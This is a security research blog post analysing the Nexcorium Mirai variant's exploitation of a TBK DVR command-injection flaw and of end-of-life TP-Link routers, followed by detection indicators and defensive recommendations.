Nexcorium Rising: How a Mirai Variant Is Quietly Hijacking Surveillance Infrastructure for Global DDoS Operations

Original research credit: Fortinet FortiGuard Labs and Palo Alto Networks Unit 42, as reported by The Hacker News. CypherByte analysis and commentary is original and independent.

Executive Summary

A newly identified Mirai-family variant tracked as Nexcorium is actively weaponizing a command injection vulnerability in TBK Digital Video Recorders (DVRs) — the very devices organizations trust to monitor and secure their physical environments. Disclosed under CVE-2024-3721 with a CVSS score of 6.3, this medium-severity flaw is being exploited at scale to silently enlist surveillance hardware into a distributed denial-of-service (DDoS) botnet with growing global reach. Compounding the threat, attackers are simultaneously targeting end-of-life TP-Link Wi-Fi routers, broadening the attack surface considerably and suggesting a deliberate campaign to harvest low-hanging, under-maintained IoT infrastructure.

Security and IT teams responsible for physical security infrastructure, network edge devices, and IoT asset inventories should treat this research as a high-priority operational signal. The organizations most at risk are those running unpatched or unmonitored DVR systems — a category that includes enterprises, SMBs, municipalities, healthcare facilities, and retail environments. Because these devices operate at the periphery of network visibility, they are routinely overlooked in patch cycles and threat monitoring programs. Nexcorium's operators appear to understand this blind spot intimately, and they are exploiting it with precision.

Technical Analysis

CVE-2024-3721 is a command injection vulnerability affecting TBK DVR hardware. Command injection flaws of this class arise when user-supplied input is passed unsanitized into a system shell execution context — in this case, through an exposed web management interface on the DVR. An attacker with network access to the device's management port can craft a malicious HTTP request that embeds shell commands within a vulnerable parameter field. Because the DVR's firmware executes this input with elevated privileges and without adequate input validation, the injected commands run directly on the underlying Linux-based operating system.

The Nexcorium infection chain follows a now-familiar Mirai playbook, adapted for this specific vulnerability class. Upon successful exploitation of CVE-2024-3721, the attacker delivers a dropper script — typically a lightweight shell script fetched from an attacker-controlled staging server — which subsequently pulls down the Nexcorium binary compiled for the target device's processor architecture. TBK DVRs commonly run on MIPS or ARM-based chipsets, and Mirai variants are routinely compiled for both. The binary then establishes persistence, kills competing bot processes (a hallmark Mirai behavior), and initiates a connection to a command-and-control (C2) server awaiting DDoS directives.

Concurrently, the campaign targets end-of-life TP-Link Wi-Fi routers. While the specific CVEs exploited against TP-Link hardware in this campaign have not been fully enumerated in available reporting, EoL router targeting is consistent with broader Mirai ecosystem behavior: once a vendor ceases firmware support, unpatched vulnerabilities accumulate and become permanent entry points. The dual-vector targeting strategy — leveraging both CVE-based exploitation and EoL device targeting — indicates a threat actor operating with methodical efficiency, casting a wide net across device categories that share one common trait: a near-zero probability of receiving a defensive patch.

Impact Assessment

The affected systems span a broad range of deployment contexts. TBK DVR devices are widely used in commercial surveillance deployments across retail chains, logistics facilities, healthcare campuses, and government buildings. Many are installed by physical security integrators whose mandates rarely include network security hardening or firmware lifecycle management. This creates a large population of perpetually unpatched, internet-accessible devices — precisely the conditions Mirai-family botnets have exploited since 2016.

From a real-world consequences perspective, the impact bifurcates into two distinct damage categories. First, compromised DVR devices become unwitting DDoS amplifiers, contributing bandwidth and packet-generation capacity to attacks that can cripple web services, APIs, and network infrastructure. Organizations whose DVRs are enrolled in Nexcorium may not experience any direct disruption themselves — the harm is externalized to the botnet's targets. Second, and perhaps more insidiously, a compromised DVR represents a persistent foothold on an organization's network. Once inside, a sophisticated threat actor could pivot laterally, exfiltrate data, or access camera feeds — transforming a DDoS tool into a broader intrusion platform. The CVSS score of 6.3 is arguably misleading in this context; the organizational risk of an undetected DVR compromise far exceeds what a medium severity rating implies.

CypherByte's Perspective

Nexcorium is not an anomaly — it is a confirmation of a structural problem the security industry has repeatedly identified but insufficiently addressed. The IoT device lifecycle, particularly for physical security hardware, is profoundly misaligned with the threat landscape. Devices like DVRs are purchased, installed, and then largely forgotten. Firmware updates are rarely automated, vendor support windows are short, and the operational teams managing these devices typically sit outside the IT security org chart. Attackers have internalized this reality. Campaigns like Nexcorium are engineered not around zero-days or sophisticated evasion techniques, but around the near-certainty that a large percentage of targeted devices will be running unpatched firmware and will remain that way indefinitely.

For the broader security community, this campaign underscores the urgency of extending threat detection and asset management programs to physical security infrastructure. DVRs, IP cameras, access control panels, and building management systems are increasingly networked — and increasingly targeted. The convergence of physical and logical security creates new attack surfaces that traditional IT security models were not designed to cover. CypherByte's position is that organizations must treat physical security hardware with the same rigor applied to IT endpoints: continuous vulnerability scanning, network segmentation, firmware lifecycle tracking, and behavioral monitoring.

Indicators and Detection

Defenders can begin identifying potential Nexcorium activity through the following indicators and detection strategies:

Network-Level Indicators: Look for unusual outbound connection attempts from DVR or IoT device IP addresses, particularly to non-local, non-vendor IP ranges. Mirai variants typically communicate with C2 infrastructure over common ports including TCP/23, TCP/80, TCP/7547, and high-number ephemeral ports. Anomalous outbound UDP flood traffic originating from DVR subnet ranges is a strong indicator of active botnet participation.

Device-Level Indicators: Elevated CPU utilization on DVR devices with no corresponding increase in recording or streaming activity. Unexpected processes running on the device OS — where device management interfaces permit inspection — particularly processes with randomized or obfuscated names. Presence of dropped binaries in world-writable directories such as /tmp or /var/tmp.

Log-Based Indicators: Malformed or anomalous HTTP requests in DVR web server logs targeting known vulnerable parameter fields. Authentication attempts from external IP ranges against the DVR management interface — Nexcorium's initial access phase likely involves reconnaissance scanning before exploitation.

Recommendations

1. Inventory and Classify Immediately. Conduct a full audit of all DVR and IoT devices on your network. Identify any TBK DVR hardware and cross-reference against CVE-2024-3721 affected firmware versions. Similarly, enumerate all TP-Link router hardware and flag any end-of-life models for immediate remediation planning.

2. Apply Patches or Isolate. Where vendor patches are available for CVE-2024-3721, apply them immediately. For EoL TP-Link routers where no patch path exists, the only responsible course of action is hardware replacement. Until replacement is possible, these devices must be isolated from internet-facing network segments.

3. Restrict Management Interface Exposure. DVR and IoT management interfaces should never be directly exposed to the public internet. Place these devices behind VPN access, restrict management interface access via firewall ACLs to known administrative IP ranges, and disable any UPnP or automatic port-forwarding features that may inadvertently expose management ports.

4. Implement Network Segmentation. DVR and physical security devices should reside in a dedicated, segmented network zone with strict egress filtering. Legitimate DVR operation requires minimal outbound internet connectivity — any unexpected outbound connections should trigger alerts.

5. Deploy Behavioral Monitoring on IoT Segments. Extend network detection and response (NDR) or intrusion detection system (IDS) coverage to IoT and OT network segments. Establish behavioral baselines for DVR devices and alert on deviations, particularly anomalous outbound traffic volumes or connections to previously unseen external hosts.

6. Credential Hygiene on All IoT Devices. Change all default credentials on DVR and router hardware immediately. Mirai variants historically combine CVE exploitation with credential stuffing against default usernames and passwords. Eliminating default credentials removes one infection vector even when patching is delayed.

7. Establish a Physical Security Hardware Patch Program. Work with physical security integrators and vendors to establish a formal firmware update cadence for all networked physical security devices. This program should mirror the rigor applied to IT endpoint patch management and should include vulnerability disclosure monitoring for relevant hardware.

This analysis is based on research originally reported by The Hacker News, citing findings from Fortinet FortiGuard Labs and Palo Alto Networks Unit 42. CypherByte's analysis, perspective, and recommendations are independently produced for our research audience.